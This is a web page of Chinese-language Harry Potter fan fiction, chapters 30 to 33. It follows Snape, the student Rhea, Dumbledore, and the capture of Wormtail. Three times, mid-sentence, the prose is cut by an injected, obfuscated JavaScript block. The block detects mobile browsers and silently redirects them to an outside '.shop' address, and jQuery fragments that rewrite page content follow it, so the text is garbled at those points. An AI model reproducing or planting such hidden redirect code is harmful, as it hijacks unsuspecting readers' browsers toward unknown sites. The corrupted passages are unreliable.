等两个人一同再次出现在霍格沃茨正门时,他们像暑假时一样,安静地一前一后往城堡里走去。只是这一次,两人之间的距离更远了,斯内普的步伐越来越快,仿佛想要甩开她。 蕾雅紧盯着他逐渐远去的身影,用力吸了吸鼻子,心中鼓起勇气,跑到他的身前。 “先生。”她抬手擦了擦自己的鼻尖,“我能不能……” “明早九点,”斯内普冷冷地打断她,撇了她一眼,“现在去喝点南瓜汁,感冒了就不要来。”说完,他几乎没有任何犹豫,便大步擦过她身侧,快步离去了。 蕾雅在原地愣了一下,然后朝他离去的背影轻声道谢。她将旅行斗篷裹紧,一路快跑回休息室。回到格兰芬多塔楼后,她先泡了一个热腾腾的澡,又喝了暖呼呼的南瓜汁,随后在公共休息室的一个小角落里,和罗恩、赫敏一起,听哈利激动地讲述他晚上在校长室看到的关于伏地魔母亲的记忆。 蕾雅没有多想,很快便趁着在拉文德和赫敏还在写作业的缝隙沉入睡眠了。 第二天,她很庆幸自己没有感冒。如期来到了斯内普的办公室。推开门的时候,洋甘菊的气味依然浓郁,蕾雅还闻到了一丝薰衣草的芬芳。 接着,她有些错愕地看到黑魔法防御课的办公室一侧竟然摆上了一排坩埚,斯内普正在忙碌地操作着。 调配台的一侧摊开着她的那本古书,旁边堆满了更多相关资料,墙上贴着的是斯内普总结出的调配手稿,黑色墨字做底,配以醒目的鲜红指示符号。 “告诉我,莱恩哈特小姐,这些是什么材料。”斯内普问道。 蕾雅先将搭在一侧的围裙系了起来,走到他的身侧,眯了眯眼睛说道:“悲啼果,金翼甲虫,凤凰羽根,霍克拉普根,还有昨天採的,暮光幽影花。” “不错,”显然,斯内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593440|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 普已经开始在处理霍克拉普根了,手里的钵体被刮得发出沉闷的沙沙声,几缕垂下的黑发随着他的动作微微抖动,“你认为下一步是什么。” “金翼甲虫研成粉末。”蕾雅挽起袖管,扫了一眼墙上的手稿答道。 “那就开始。” 蕾雅熟稔地处理着每一种材料,而斯内普则不紧不慢地掌控着坩埚的火候。随着房间里逐渐充满甘苦的甜味,锅中的液体也呈现出一种如昨日暮霭般的颜色。 斯内普皱着眉,轻轻将手中的搅拌棍抽出,仔细端详着顶端滴落的液体浓稠度。确认无误后,他将搅拌棍拭干,放在一侧,又拿起魔杖将火焰转小。 等到他们暂告一段落时,已经是中午了。斯内普拿起一块白布擦手,瞄了一眼身边看得入神的少女,转身挥了挥魔杖,在房间里召唤出一张小桌子。不久,一个小精灵凌空出现,将两盘午餐三明治放在了桌子上。 斯内普用眼神示意困惑的少女先坐下,自己则走到窗前把厚重的窗帘拉开,将窗户敞开,让新鲜空气流进来以驱散一些坩埚散发出的甜味。 蕾雅端正地坐下来,看着他再次确认了坩埚里的情况,才慢悠悠地坐到了她的对侧。 斯内普冷着脸,掂了掂手里的三明治,漠然地问道:“你的那位救世主朋友,这一周都在忙什么?” “啊……”又是一个蕾雅不曾预想过的问题,她旋即意识到斯内普正在做跟上学期一样的事。可是乌姆里奇已经不在,邓布利多也已经回来了。斯内普为什么还要打听这些事呢? “嗯?”斯内普哼了一声,似乎是在催促她。 蕾雅犹豫了片刻,放下手里咬了一口的三明治,直直地盯着那双沉静的黑眸,“我可以告诉您。但是您必须先告诉我,您为什么想知道?您现在已经无法摄神取念我了。” 斯内普被她的话说得一怔,那张脸瞬间变得阴沉如雷云,他的手缓缓按在桌子上,眼里有翻滚的怒气,似乎下一刻就能将她轰出办公室。 但身边的少女并不畏惧,身上的格兰芬多红色背心在窗户透进来的大片阳光下,映得如同烈火般耀眼。 “是因为,您有别的计划吗?”澄澈明亮的眼睛仿佛要看穿他的心思。 斯内普并没有跟上次一样移开目光,但他的侧脸因咬紧的牙关而显得更加紧绷。他沉默了片刻,一字一顿地说道:“如果你没有打算开口,我命令你马上离开我的办公室。” 蕾雅不为所动地打量着他,好像他的脸上就写着答案似的。 一旁的坩埚仍然发出轻微的咕哝声,蕾雅的目光倏地转向调理台,心中忽然浮现出一个念头。 她恍然大悟——斯内普并不想邓布利多死。没收她的书、从暑假以来就频繁地研制魔药也都是这个原因。 噢梅林—— 蕾雅重新直视着面前这个也在审视着自己的男人,立刻说道:“我会告诉您的。” 心中已然明了,她拿起三明治轻快地咬了一口。随后,她将关于高级魔药学、西里斯,以及邓布利多带哈利看伏地魔记忆的事都一五一十地告诉了他。 她本以为斯内普会一如既往地以辛辣讥讽的语气评论她和哈利,然而出乎意料的是,斯内普只是陷入了沉思。 良久,他将他们吃过的餐盘传走,起身再次走到坩埚前,缓慢地开始搅动着金黄色的液体。 “你可以回去了。”他低声说,“让波特不要轻举妄动。” “我知道的。”蕾雅将围裙摘下,整齐地叠好放在原来的位置,然后走向门口准备离开。 “还有你自己。”斯内普在她关上门前,冷冷地补充了一句。 “您也是,先生。”蕾雅将门稍稍推开了一些,给了他一个微笑,又说道:“谢谢您,暮光幽影花太美了。” 31. 计划 今年的天气确实有些反常,刚迈入十月中旬,霍格沃茨便迎来了一场神秘的雨夹雪。整个霍格沃茨仿佛笼罩在一层灰色的帷幕之下,阴霾厚重,湿冷昏暗,让人喘不过气。这氛围实在是十分适合因食死徒的行动而变得越发沉重焦虑的魔法界。 这阴郁的天气也正如蕾雅的六年级校园生活——无数的无声咒练习,更多的论文,还得时不时去参加斯拉格霍恩的小型晚宴。那些晚宴无聊至极,以至于蕾雅甚至宁愿替哈利去参加斯内普的禁闭,以此来逃避它们。 蕾雅觉得这日子真的就仿佛和这场雨夹雪一样,灰蒙蒙的,冰冻砭骨,看不到一丁点能令人喜悦的亮光。更不要提,邓布利多和斯内普的事还盘踞在她心里。 今天是去霍格莫德的日子。 一早醒来,蕾雅就瞥见了窗柩上凝满的湿雾,窗外的雨水和细雪交织在一起,不时被冷风拍在玻璃上,发出无情冰冷的“沙沙”声。光是看着,她就冷得在被窝里打了一个寒战。她挣扎着给自己套上厚厚的毛衣,又裹上了格兰芬多围巾,才依依不舍地离开了温暖的床。 这鬼天气,还是不要出去霍格莫德了,反正她也没有什么东西要买。就这么想着,早饭过后,蕾雅别过了赫敏他们,自己一个人抱着这周还没写完的作业和几张信纸来到了图书馆。 因为那些渗进来的水汽,今天她意外地没有选择任何靠窗的位置。刚坐下来,她在苍白灰霾的日光里摊开了信纸,准备先给雷格纳回信。 雷格纳的来信越来越频繁,大段文字里都是对她近况的关心,问她是否还在训练,并反复叮嘱她注意安全,尤其不要过于沉浸在情绪里。最近,他还额外提到一件事,提醒她不要跟马尔福走得太近。 起初,蕾雅对父亲突然提到马尔福这个名字感到很奇怪。虽然哈利一直在提马尔福的事,但她不明白怎么父亲也开始说马尔福的事了。直到前几天,她在《预言家日报》上看到韦斯莱先生和魔法部官员再次搜查马尔福庄园的消息,蕾雅才意识到,也许这里面的确有什么值得注意的情况。 不过,她实在没什么精力去细细考究这些事情。她简单地给雷格纳回了信,告诉他自己一切安好,然后将信封折好,放到一旁。接着,她又随意写了几行魔法史作业,然而这项任务实在是乏味得让她几乎无法继续下去——梅林知道她可以忍受写五篇黑魔法防御课的论文,也不愿再碰魔法史。 最终,蕾雅决定暂时放下作业,起身准备先去把信寄掉。 踩上台阶,推开图书馆的大门,蕾雅迎面就看见了她的黑魔法防御课教授。他正抱着一箱魔药材料,纷繁复杂,很难细数里面都有什么。 她停住了脚步,抬起头来跟他打招呼,“斯内普教授。” 斯内普从材料后面微微歪了歪头,声音冷得如同今日的天气:“我以为你应该在霍格莫德? “太冷了,我没有去。”蕾雅小声地答道。 “既然如此,我建议你好好利用这个时间。”斯内普撇了她一眼,随后转身继续往塔楼的方向走去。 蕾雅连忙跟在他身后,试探性地问道:“教授,您是准备配置魔药吗?” 斯内普没有回答她,但也没有阻止或拒绝她的跟随。蕾雅心里竟然感到几分喜悦,迈着小步子一路跟在他的黑袍后面,顺利进入了他的办公室。 这对她来说,可以算得上这周最温暖的时刻了。 然而,斯内普的办公室可没有什么温度,而接下来的帮忙内容也让她不由得背脊一凉。 戴上手套,蕾雅站在斯内普身边,仔细地将黑色甲虫的眼珠分离出来,放进玻璃罐里。随着越来越多的黑眼珠子堆积,她感觉头皮有些发麻。她只能努力维持着手上的机械性动作,将注意力转移到斯内普正在熬制的那锅雾蓝色魔药上。坩埚上方的墙壁上,九月初以来又多了几张新的配方纸条,而她的那本书也依然摊开在一侧,已经翻到了接近最后的页面。 蕾雅收回目光,吸了一下鼻子,小心地问道:“先生,上次的药有效吗?” 斯内普侧过头来,就注意到了少女冻得通红的鼻尖,他顺手一抬便点燃了办公室里的壁炉。 “还可以,疼痛感减轻了。” “那就好。”蕾雅笑了一下。 “但是材料不可多得。”斯内普闷声道,显然那次的成功只是好运,再去一次也未必能再获得那种材料了。 “所以您又在试新的药了吗?”少女又问道。 “嗯。”斯内普应得很干脆,手上刚抓起一把切碎了的柳叶扔进坩埚里,又对她说道:“一勺甲虫眼珠。” “好。”蕾雅将手中的那只甲虫残骸放下,摘掉手套,拿起银色的小勺子舀起玻璃罐里的眼珠,小心翼翼地凑上前去,轻轻将它们撒入坩埚中。眼珠子落入沸腾的液体中,发出微弱的“滋滋”声,魔药表面泛起了几道涟漪。 太近了,那股苦涩的魔药味瞬间钻进了她的鼻腔,蕾雅立刻缩了回去,皱了皱鼻子,重新投入到她的甲虫作业中。 壁炉里的火焰渐渐旺盛起来,噼啪作响,橘红色的光芒在办公室内跳跃着,映得整个房间暖意融融。斯内普的余光瞥见少女的耳朵被热气烤得微微发红,跟她脖子上的围巾快是一个颜色了。但他没有过多在意,继续凝视着坩埚中升起的淡淡雾气。 就在这时,外面传来一阵急促的脚步声,紧接着是更为急促的敲门声,敲得蕾雅一惊,几乎让她怀疑是谁敢这样敲斯内普的办公室门。 还没等斯内普冷起脸咒骂,费尔奇的声音便透过门缝传了进来:“斯内普教授,快开门,麦格教授让您赶紧看看这个!” 斯内普眯起眼睛,目光转向蕾雅,“你来,”他说,“顺时针,慢速。” “啊!”蕾雅赶紧放下手中的甲虫残骸,谨慎地伸手接过斯内普手中的搅拌棍,心里隐隐地泛起一丝不安。 斯内普转过身,大步走到门口,将门猛地拉开。 “什么事?”他漠然地问道。 “就刚才,海格抱着个昏倒的女学生去了医疗翼。波特那几个小毛头慌慌忙忙地拿着这个东西从霍格莫德赶回来,麦格教授让我赶紧拿给你,还叮嘱我别打开。”费尔奇那毛躁尖锐的声音更加刺耳,他递给斯内普一个被格兰芬多围巾包裹着的物品。 “我知道了。”斯内普冷淡地回应,接过围巾,然后毫不犹豫地关上了门。 “哈利?”蕾雅忍不住好奇地朝斯内普的方向望去,手上的动作却不敢停下。 斯内普走到一旁的侧柜前,将那样东西小心翼翼地放下。他轻挥魔杖,红色的围巾缓缓展开,露出一条华丽的项链,上面的白色宝石在壁炉的火光映照下,闪烁着璀璨的光芒。然而,下一刻,蕾雅注意到斯内普的眼神瞬间收敛,神情变得严肃。他迅速施了一个诊断咒语,与之前对她使用的咒语有些相似,顿时,一团黑烟从项链上腾起,盘踞一阵,久久不散。 斯内普皱起眉头,低哼了一声。随后,他从柜子上拿出一个带锁的木箱,小心翼翼地将项链甩进箱子里,并附加了几层锁咒。 “愚蠢。”蕾雅隐约听见他低声骂了一句。 “先生?”她疑惑地看向他。 斯内普仿佛这才意识到她还在这里,但他显然没有打算解释任何事情。他沉默地走到蕾雅身边,伸手接过了她手中的搅拌棍。 “你先回去。”他冷硬地对她说,音量不大,却充满了命令感。蕾雅不敢再开口问任何东西,只能默默点头。 离开斯内普的办公室后,蕾雅先将给父亲的信寄了出去,随后回到了格兰芬多的公共休息室。直到赫敏他们吵吵闹闹地回来,她才知道刚刚在霍格莫德发生的事。原来,凯蒂·贝尔接触到了那条项链,之后像是被夺魂了一样飞上天空,尖叫不止——光是听描述蕾雅也觉得足够骇人了。 “一定是马尔福干的。”哈利咬牙切齿地说着,绿色的眼睛里闪着愤怒的光,甚至看起来有些偏执,“他就是已经加入食死徒——” “哈利,我们没有任何证据。”赫敏以很重的语气打断了他,白了他一眼。 罗恩倒是不说话,看着对侧跟他一样困惑的蕾雅耸了耸肩,脸上的表情也很无奈。 蕾雅勉强保持着微笑,仿佛他们谁说的都对般听着。 末了,蕾雅谨慎地说道:“不过,我爸爸最近的信倒是要我注意跟马尔福保持距离。” 哈利给了她一个赞同的眼神,这句话正好肯定了他的观点。 …… 一直等到了周一,邓布利多才回到了霍格沃茨。而几乎就是在他回来的下一刻,斯内普就推开了校长室的门。 邓布利多对此毫不惊讶,甚至连头都没抬一下,依然不慌不忙地凑在壁炉前烤火。暖橘色的火光跃动着,将他那沾了寒气的星月袍映照得闪烁着金色的光来。 而黑发巫师就不一样了,他紧绷着脸,大步走到邓布利多身侧,咚的一声把一瓶雾蓝色的魔药重重地按在桌子上,随后径自坐到另一侧沙发上。 老巫师这时慢慢地回过头来,瞥见那瓶药的瞬间,脸上就铺开了痛苦的神色。“哎西弗勒斯,我快成你的药罐子了。”他说。 “少废话。”斯内普抱紧双臂,一条腿搭在另一条腿上面,冷冽地说道:“如果你不想在我们计划顺利完成前就死去的话。” “这次又是什么材料?”邓布利多皱着鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593441|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子转过身来,抬了抬左手,将两杯奶茶传到他们跟前。他在自己的那杯里加了几块方糖,拿起那瓶药端详了起来,“唔,这次的颜色是雾蓝,上次是什么来着?上次那瓶尝起来还不错。” 斯内普脸上没有一丝动摇,强硬地盯着他。 “有时候我想,我也许该根据你的魔药颜色换上不同的袍子。”老巫师调皮地说道。 斯内普依然不为所动,点了点已经捏在手里的魔杖,老巫师手上地魔药瓶盖自动打开了,“别浪费我时间。” 邓布利多绷着嘴角,过了一阵才不情不愿地仰头把药喝了下去。“噢,梅林。”他放下药瓶,下颌的肌肉都因药苦而抽搐起来,“真的,我更喜欢上次的那瓶。” “那材料极度罕有,除非你愿意拨点重金让人专门去采。”斯内普挑了挑眉毛,凑前撇了一眼桌上的饮品,又不满地坐了回去。 老巫师都看在眼里,微笑着给他换了一杯红茶,慢悠悠地说道:“算了,我觉得以你的技术,材料不会是什么大问题。再说,我们已经不需要多少时间了,那男孩已经开始行动了。” “那个学生,怎么样了。”斯内普以魔杖将红茶召到自己手里。 “圣芒戈说情况在稳定变好。不幸中的万幸,你及时给她上了反咒。” “不幸中的万幸,她仅仅接触了一小块皮肤。”斯内普冷哼一声,“要再多一点,我无力回天。” 老巫师给自己灌了一大口奶茶,又用餐巾抿了抿嘴唇,“不管怎么说,我都很庆幸霍格沃茨有你在,西弗勒斯。” 黑发巫师别扭地别开了脸,目光移向壁炉里跳跃的火星。 “所以,这些晚上你都跟波特在忙什么?”他突然地问。 邓布利多在一旁静静地看着斯内普的侧脸,并没有立即回答他,只是安静地喝着奶茶。 斯内普沉默地盯着壁炉里不断变换形状的火焰,脸上的表情显得愈加僵硬。 “你不信任我,邓布利多。”他的声音又冷又硬,像是永久冻土里的磐石,却又透着一丝卑微。 邓布利多观察了他片刻,才缓缓说道:“你知道不是这样。我不能把所有的秘密都放在一个篮子里,西弗勒斯。” 斯内普哼了一声,把红茶放下。 “我想,你已经听到西里斯的事了吧。”老巫师决定将话题撇开。 “听莱恩哈特说了。”斯内普淡淡地答道。 邓布利多心目了然地笑了一声,“这孩子倒是心思缜密,哈利说,是她提醒他来找我的。” 斯内普仅是淡淡地发出一声鼻音,显得不置可否。 邓布利多扬了扬花白的眉毛,继续说道:“所以,你以为如何呢?等你我都离开这个学校了,多一个强力的人保护他总归是好的。这个计划也许早该进行了。” 斯内普以很细微的角度点了点头,思索着开口道:“这样也算是削弱黑魔王的力量。” “我很欣慰你愿意帮忙,西弗勒斯。”邓布利多摸了摸自己的胡子,扎胡子的小铃铛发出清脆的一声。他斟酌了一阵,眯着眼睛问道:“但我还是想知道,你是为了个人仇怨,还是终于开始关心哈利了?” 这句话却像是点燃了斯内普心中的某种东西,他猛地站起身来,黑袍因他的动作而摆动着,“关心他?他就跟他的父亲一样自大、傲慢!” “难道不是?”邓布利多抬起头,扬起下巴看着斯内普有些起伏的胸膛。 斯内普愤怒地直视着邓布利多,那张阴沉的脸扭曲得可怕。他咬住了牙关,压着声音吼道:“呼神护卫!” 从他漆黑的魔杖尖绽出了一缕温柔的白光,一只优雅的牝鹿灵动地一跃而出,四蹄轻巧地踩踏着地板,绕着邓布利多的身侧划出一道美丽弧线,旋即消失在窗外,只留下一抹银色粒子徐徐散开。 莉莉,个人仇怨也好、哈利也好,一切皆因她。 邓布利多瞪大了双眼,久久注视着银鹿消失的方向,眼眶不禁微微发热。他怎么也没想到,这么多年,这么多年——“这么久了还是这样?”老巫师低声问道,倏然望向面前的男巫。 “一直。”斯内普痛苦地看着邓布利多,眼神中透出一种如同荒野上挣扎着死去的孤魂般的绝望。 邓布利多湛蓝色的眼睛此刻如泉水般湿润,他长叹一口气,紧抿着嘴唇。 就在他们快要被这沉默的漩涡吞噬之前,邓布利多再次看向斯内普。 “我不太明白,西弗勒斯。既然如此,你又为何选择让她看见那些记忆?你是想以此来吓跑她,还是想她明白你的苦楚?”老巫师言之殷切,语重心长。 果不其然,校长室的木门又被摔了一次。 32. 冰释 蜘蛛尾巷。 兀自高耸的方形烟囱,单调诡异的灰咖色砖墙,每一幢房子都是一种颜色,但看起来却又并不整齐。房屋破败脏乱,坑坑洼洼的街道上堆满了巨大的垃圾桶和各种杂物,墙角都是老鼠的排泄物和肮脏的昆虫。有一条臭水沟横淌在路侧,河水乌黑粘稠,像是被腐烂和污泥浸透的灵魂。 此时,黑压压的阴云正笼罩在这片街区之上,灰黄色的天与这地倒是十分般配,暗淡无光到像是被世界抛弃的角落。 一侧的壁炉正在有条不紊地发出阴沉的木柴炸裂声,斯内普把自己陷在褪了色的沙发里,借着淡薄清冷的光假装在看手中的《预言家日报》。实际上,他的视线不时从故意没拉全的窗帘一角扫向对面那堵墙,几个破旧的废弃木支架正倚在上面。 原是一个计划外的计划。 他并非出于仇恨或怨念,那个叛徒早已不值得他去在意,他甚至不再视其为人。仅仅是一只过街老鼠,一个苟且偷生的渣滓,怯懦可悲,连让他投注任何情感的价值都不具备。 尽管如此,等时间终于来到了这一刻,他还是感到有一种不知名的情绪从自己的腹腔升起,越来越强烈。 斯内普右手的食指和拇指正在报纸后面捻着魔杖尖,仅以余下的三根手指扶着报纸。他不紧不慢地用左手翻过一页报纸,开始阅读面前这则新闻:“于前日因涉嫌从事食死徒活动而被逮捕的骑士公共汽车售票员,斯坦·桑帕克在魔法部拘留间突发失心疯自杀撞墙身亡,现场惨烈血腥。” 他面无表情地翻过这则新闻,心里明白是食死徒们灭的口。 亚克斯利,亦或是卢克伍德? “咚咚咚。”就在这个时候,家门口传来了敲门声。 斯内普不为所动,仿佛没有听到敲门声一样坐在原地。 “咚咚咚、咚咚咚。”敲门声变得更为用力和急促,像铁锤敲击着密封的罐头,震得整个房子都颤抖起来。 “你是聋了吗,虫尾巴!”斯内普朝书墙的方向怒吼。 紧接着,一阵急促的脚步声从那里传来,书墙缓缓移开,一个肥胖的矮个子探出头来。 “我不是你的仆人!”他胆怯而惊慌,声音又尖又细,鼻子也尖得奇怪。他举着一只丑陋诡异的银色假手,眼神充满畏惧。 “是吗?”斯内普冷哼一声,那张不怒自威的脸从报纸耷拉的一角露了出来,一双阴鸷的黑眼睛紧紧地定在虫尾巴身上,“我以为,黑魔王让你来这里是为了帮助我的。” 门外的敲门声更剧烈了,但斯内普脸上随时可能炸开的暴怒比那声响更为可怖。虫尾巴看似还想争辩些什么,但不敢与斯内普对峙太久,很快便躲开了他的目光,耸了耸肩,局促不安地朝门口走去。 “吱呀——”是斯内普家大门因陈年干锈而发出的声音。 斯内普扯了扯嘴角,再次将报纸立了起来。 “啊——!你们!你们怎么在这里!”从门口的方向传来了虫尾巴惊悚的尖叫声。 下一刻,斯内普就听见几道迅猛的魔咒声音,紧接着是一声震耳欲聋的巨响,木板破裂的声音回荡在整个房子里,掀起的暴风直扑进起居室。 斯内普不慌不忙地从报纸的边缘探出去一眼,只见自己家的大门已经被炸的粉碎。方才那个矮个子被一阵强大的魔力击倒在地,脸上是极度痛苦狰狞的表情,他挣扎着朝斯内普的方向爬去。 “西、西弗勒斯!”虫尾巴以水汪汪的无辜神情看向斯内普,双手还在不断地往前挪动着,“他们来了!他们来了!救、救我!” 斯内普挑了挑眉,仿佛没看见似的,将头又埋回《预言家日报》的后面。 “真是痛快!”一个男人的声音在虫尾巴的身后响了起来。斯内普甚至懒得去抬头看,只是抖了抖自己手上的报纸,仿佛面前出现的一切都跟自己没有关系一样。 西里斯·布莱克,正穿着一身优雅的天鹅绒西装,大步冲进了斯内普的家。他脸上带着爽快而有些癫狂的笑容,那些破碎的木板在他脚下被踩得吱吱作响。他再次大声喊道:“真是痛快!我看你还能跑到哪里去!” “救、救我!” 虫尾巴已经快爬到斯内普脚边,仍用乞求的眼神望着他。就在这时,又一道闪着红光的魔咒击中了虫尾巴,吓得他缩成一团,滚向一侧。 “西里斯,别做太过火了,我们不能杀了他。”莱姆斯·卢平的声音随后响起,声音比起布莱克的听起来平静不少。他也紧跟着布莱克走进了房子,小心地避开斯内普那已看不出颜色的地毯,尽管上面已布满木屑。 斯内普连眼都没有抬,慢悠悠地又翻过一页报纸。噢,他看见了一条新闻——新的《炼金术士》因食死徒活跃推迟到下个月十号发售。他这才不耐烦地抽了抽嘴角。 “西弗勒斯!他们要来杀我了!”虫尾巴大叫着抱住了自己的头,好像不相信面前正在发生什么似的。看斯内普好像不打算搭理他,他的身子旋即开始剧烈地扭动起来。 “别让他跑了!”卢平眼疾手快,一个束缚咒擦过布莱克的身侧朝虫尾巴冲去,但却偏离了目标,落在了他的身旁。 就在虫尾巴的身体逐渐缩小,马上就要变成一只灰溜溜的老鼠的瞬间,斯内普转动右手腕,几丝如细蛇般的白光从报纸后迸发出来,迅速缠住了地上正要逃窜的灰色老鼠。 老鼠瞪大了双眼,不可置信地看着斯内普,但是嘴里只能发出吵闹的嘶嘶声。下一秒,布莱克大笑了一声,魔杖轻挑,将老鼠从地上引到了半空中,然后又重重地甩了出去,砰地一声砸在斯内普的书墙上。 “西里斯!”卢平大步走到前面去按下了布莱克高举的魔杖,又稍稍不好意思地看向斯内普,而斯内普只是无所谓般移开了视线。 老鼠发出了虚弱的气声,翻了白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593442|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,晕厥了过去。 “好了。”斯内普用魔杖一挥,那摊软弱无力的老鼠直接被甩在布莱克的胸前,声音低沉冷硬,“赶紧离开这里。” 布莱克愤怒地瞪了他一眼,但只是将老鼠抓在手中,紧紧攥着。随后他有些在意般扫了一眼身后被自己魔咒震碎的废墟。 “不用你管。”斯内普看穿了他,右手一抬,刚刚四散一地的木头碎屑旋即动了起来,沿着有序的轨迹回到它们原来该在的角落。 “谢谢你,西弗勒斯。”卢平温和地朝黑发巫师微笑着道谢。 下一刻,布莱克和卢平消失在幻影移形里了,斯内普一边慵懒地扫视那些无趣的新闻,一边将满地狼藉恢复如初。 …… 凌晨时分,魔法部刚刚结束了一夜由邓布利多全程监控的取证工作。虫尾巴蜷缩在拘留间冰冷恶臭的角落,那只本该锃亮的银手如今被污渍染得发黑。过度的摄神取念让他感觉所有的精气都被抽空,整个人奄奄一息。 漆黑无人的走廊里只有幽暗阴森的灯光在摇曳,灯台的影子被打在墙砖上,拉出一道道诡异的弧线。 忽而,虫尾巴面前的铁门发出了开锁的声音。铁栅缓缓地打开。 他猛地将背贴紧冰冷的墙壁,声音因恐惧而发抖:“是,是谁?!”他的眼神里有极度深刻的恐惧。 然而,门内外都一片死寂,他只能眼睁睁地看着铁栅又缓缓地合上,仿佛刚才的一切只是他的幻觉。 “我……我知道你在那里!”他尖锐的嗓音在空荡荡的拘留间中回响。 “看看你,连一只老鼠都不如。”铁门的方向传来了斯内普的声音,语气中充满了极度的厌恶和不屑。 “是你!西弗勒斯!是主人派你来救我的吗?”虫尾巴开始哆嗦,惊恐又带着恳求地看向那个方向。 “救你?你以为你对他来说还有什么利用价值?” 斯内普轻轻揭下隐形斗篷,苍白的脸在昏暗灯光下更显惊悚,一双黑眸冷如零度以下的坚冰,却又透出能将尸骨舔净的地狱之火。 虫尾巴发抖得更厉害了,牙齿已经止不住地开始打颤。 “我、我知道了。”他艰难地说道,“你、你是主人派来杀我的!” “杀你?我都不屑于做这种无意义的事。” 虫尾巴的眼睛瞪得滚圆,全身开始蜷缩在一起,仿佛眼前的斯内普就是他的刽子手。 突然,他开始拼命地摇头,泪水涌出眼眶,浸湿了他那布满污垢的脸颊,喃喃道:“不对……不对。你让他们在你家抓走了我!你和他们是一伙的!” “令人惊讶,你竟然还有力气去思考。”斯内普冷笑了一声,不以为然地举起了手中的魔杖,指向虫尾巴那根肮脏不堪的银手。 末了,铁闸门再度徐徐地关上。 好像什么也没有发生过一样,拘留间再次陷入死寂。 33. 誓言 从邓布利多的办公室将布莱克的审判补充材料整理完,斯内普直接回了黑魔法防御课的办公室。 最近,他发现自己已经不会去过多在意,那些随机出现在自己办公室门口的没有署名的盒子。 他一如惯常地将它拾起,拿在手上掂了掂,走进了办公室。 坐在办公桌前打开来,盒子里躺着的是熟悉不过的茶包,这次飘入鼻端是桂花的香气。 还有一小包密封好的肉桂卷,和一罐蜂蜜。 以及一张小卡片。 “圣诞快乐,教授。这一年很谢谢您。 外公家种的桂花开了,对安神也很好,搭配蜂蜜更佳。” …… 又是一年圣诞节。今年的级长赫敏依旧忙碌着参与到霍格沃茨的各种布置里。 今年的霍格沃茨也跟往常一样充满了梦幻的氛围。由海格负责般出来的十二棵圣诞树,与许多星宿般的挂着金丝带蜡烛一起装点了大礼堂。城堡里到处都是盎然的槲寄生和缠绕在柱子及栏杆上的冬青,红艳的果子在绿叶间辉映,竟把窗外层层叠叠的冰凝雪积衬出多了几分春意。 不过,十月份以来的反常天气终究还是让一向怕冷的黑发少女感冒了。 还没来得及享受霍格沃茨甜蜜美好的松饼和烤鸡,她的鼻子堵得已经快两天尝不出食物的味道。而更糟糕的,还有赫敏、拉文德和罗恩之间那纠结复杂的关系。恋爱的酸苦涩甘在他们三人身上展现得淋漓尽致,让作为旁观者的蕾雅和哈利看得一愣一愣。 斯拉格霍恩决定在十二月二十日这天举办一场小型的圣诞晚会。下课以后,蕾雅和赫敏早早回了寝室换衣服。 “蕾雅!你快来帮我看看。”赫敏穿着一条淡粉色的裙子,正在努力地梳理着她那头乱蓬蓬的棕发。 “来啦。”蕾雅穿着母亲寄来的米白色过膝裙,刚把一半的头发盘好,边戴着淡绿色的水滴耳坠朝赫敏走过去。 “快帮我看看,就是弄不好。”赫敏烦躁地把梳子扔在柜子上面,一脸沮丧地看着黑发少女。 蕾雅晃了晃脑袋,抽了一下因为感冒而红肿的鼻子,打量着赫敏揪成一团的发髻,说道:“……要不我帮你重新编一下?” 还没等赫敏回答,她就像往常一样将赫敏没梳好的头发解开,手指顺开那些略微打结的发丝,耐心地将其一缕缕捋顺,拢成一个麻花辫。 “哦,真的,谢谢你。”赫敏垂头丧气地看着镜子,仔细观察着好友穿梭在自己发间的温柔的动作,感到那双手有些发烫。赫敏又看了一阵,注意到蕾雅脸上和眼底不自然的淡红色,连忙问道:“不过你手好烫啊,感冒没事吗?” “没事吧,就是脑袋有点重——唔。”蕾雅将打喷嚏的冲动忍了回去,顿了顿,岔开了话题:“话说你真的邀请了考迈克·麦克拉根?” “哎,别提了。”赫敏叹了一口气。 “哎呀我懂,你不就是想气气罗恩。”蕾雅笑了笑,将手上的辫子扎了起来,又着手辫另一束,故意提高音量道:“明明你就是——” “你敢说!我就敢打你!”赫敏打断了她,冲镜子里瞪了一眼,佯装起了生气。 蕾雅咯咯地笑了起来,意味深长地勾着嘴角,泛红的翠绿眼睛定定地看着镜子里好友那跟自己一样绯红的脸。 自己是因为感冒高热引起的红,而赫敏显然不是。 她忽而想起了尼克爵士看见张秋和哈利吵架时,发出的感慨——爱情,总是能让最理智的巫师和女巫变得像傻瓜一样。 